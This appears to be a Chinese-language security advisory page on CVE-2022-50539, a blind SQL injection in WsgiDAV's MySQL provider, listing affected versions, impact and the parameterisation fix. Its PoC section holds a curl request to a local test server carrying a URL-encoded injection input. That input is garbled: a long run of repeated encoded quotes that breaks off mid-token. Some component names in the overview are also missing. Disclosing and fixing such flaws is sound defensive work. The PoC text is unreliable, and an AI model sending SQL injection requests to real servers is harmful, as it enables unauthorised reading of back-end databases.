WsgiDAV MySQLProvider 盲注 SQL 注入（CVE-2022-50539）

漏洞概述 漏洞名称：WsgiDAV MySQL provider 盲注 SQL 注入 CVE 编号：CVE-2022-50539 严重程度：High（CVSS 8.8/10） 漏洞类型：盲注 SQL 注入（Blind SQL Injection） 受影响组件： 的 漏洞描述： 通过字符串拼接构建 SQL 查询，未对 WHERE 子句中的键值进行转义。任何能读取该 provider 共享目录的用户，都可以通过 URL 注入 SQL，从而读取后端数据库数据。 影响范围 受影响版本：<= 4.3.4 已修复版本：4.3.5 影响说明： - 任何能读取 共享目录的用户，可执行任意查询，相当于以数据库账号身份访问整个可达数据库。 - 若该账号具有写权限或管理员权限，影响进一步扩大。 - 主要影响启用该 provider 的部署；默认文件系统 provider 不受影响。 - 默认配置下 模块在 WsgiDAV 中默认未启用，但可被显式启用。 修复方案 修复版本：升级至 4.3.5 修复方式：对 WHERE 子句中的键值进行转义/参数化处理，避免直接拼接用户输入。 POC / 利用代码 测试环境：Docker 中的 MySQL 8 + WsgiDAV 4.3.4， 映射到 ，匿名访问。 HTTP 请求示例： ```bash curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/%7B%22%0A%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%27%2

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WsgiDAV MySQLProvider 盲注 SQL 注入（CVE-2022-50539）

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目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

WsgiDAV MySQLProvider 盲注 SQL 注入（CVE-2022-50539）

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！